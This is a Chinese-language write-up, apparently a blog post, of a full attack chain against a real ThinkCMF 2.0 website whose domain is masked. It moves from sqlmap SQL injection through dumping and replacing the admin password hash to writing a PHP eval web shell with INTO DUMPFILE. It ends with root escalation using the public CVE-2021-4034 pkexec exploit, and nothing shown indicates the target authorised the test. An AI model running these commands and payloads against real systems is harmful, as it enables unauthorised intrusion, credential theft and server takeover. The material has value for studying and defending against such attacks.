mysql+thinkcmf getshell

前言

以前尝试过审计thinkcmf,但当时技术菜就只下载项目跑起来了,没有继续往下进行,现在遇到一个站也是thinkcmf 2.0的,很老的版本,刚好可以再次学习下。

注入

访问url,做了路由伪静态,在 https://www.xxx.cn/Index/mediacontent/id/1692.html的最后html处存在注入,sqlmap用 * 来指定注入点,

1
sqlmap -u "https://www.xxx.cn/Index/mediacontent/id/1692*" --random-agent --threads 10 --batch

一把梭后发现是dba权限,然后找到了表名为cmf_user的表,里面有admin用户以及他的user_pass,是一串32位的hash,于是决定扫一扫网站目录找后台。

image-20230329225005418

后台

替换hash

后台路径一扫就出来了,直接明了的admin路径,爆破了几个弱口令都没登上去,而且前面注入得到的user_pass用cmd5解不开,于是通过网上搜索发现这个hash的生成规则,里面的authcode就是在相对网站目录的 /data/conf/db.php 文件夹下。

1
2
3
4
5
6
7
8
function cmf_password($pw, $authCode = '')
{
if (empty($authCode)) {
$authCode = Config::get('database.authcode');
}
$result = "###" . md5(md5($authCode . $pw));
return $result;
}

于是决定自己生成一个来替换,替换后成功登了上去,果然还是替换大法好。

失败的上传

在后台到处翻了一遍,最后在编辑功能找到了上传点,但是限制了文件名后缀,没能绕过去,但是正常上传后给出了上传路径,既然如此,再去用sql的dumpfile试一试。

image-20230329225837661

后来在自己搭建的相关php文件中看到,这里是用的白名单过滤。

中间还发现了个异常功能点,在普通用户登录的界面有获取验证码功能,但返回的数据是异常的,其中就包括了trace的php文件路径,从里面看到了db.php,用注入的 load_file() 功能读到了数据库账户,这样用sql的时候会方便些。

image-20230329232246393

在网上看别人文章有设置上传文件后缀的功能,但是我没找到,于是去下了个2.1.0的版本(没找到2.0.0)本地搭建了下,发现后台确实没有这个功能。虽然没找到修改允许上传后缀功能,但是看了下相关文件,找到了配置数据库的文件,也就是刚刚报错找到的db.php文件。

数据库

dumpfile

用navicat成功连接数据库,尝试 load_file()而且secure_file_priv属性是空字符,也就是所有路径可执行 dumpfile 操作。

1
2
3
SELECT @@secure_file_priv;
或者
show variables like '%secure_file_priv%';

通过上面sql注入报错可以看到返回的绝对路径

image-20230329224017658

然后尝试直接写入shell到网站根路径,但是失败了,应该是文件夹当前用户没有写权限,尝试了几个爆出来的路径都不可以,然后又试了下后台上传的路径,发现可以写入,getshell。

1
select '<?php eval($_POST["xxx"]);' into dumpfile "/data/xxx/data/upload/2030401/xxx.php";

部分目录不可写的原因

连上后发现当前用户是daemon,而web目录大部分是root的755,所以不可写。

提权

接下来就要提权,用linux-exploit-suggester脚本跑可提权利用的漏洞,只有几个脏牛,试了没成功,然后尝试SUID提权。

SUID

首先寻找带 S 权限的命令可执行文件,

1
find / -type f -perm -04000 -ls 2>/dev/null

逛帖子的时候发现一个网站,这里记录下GTFOBins,列举了带SUID的命令。

在目标服务器发现里面有psexec,CVE-2021-4034,试了一下成功了。

1
2
3
4
5
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
# 完成后执行文件
./cve-2021-4034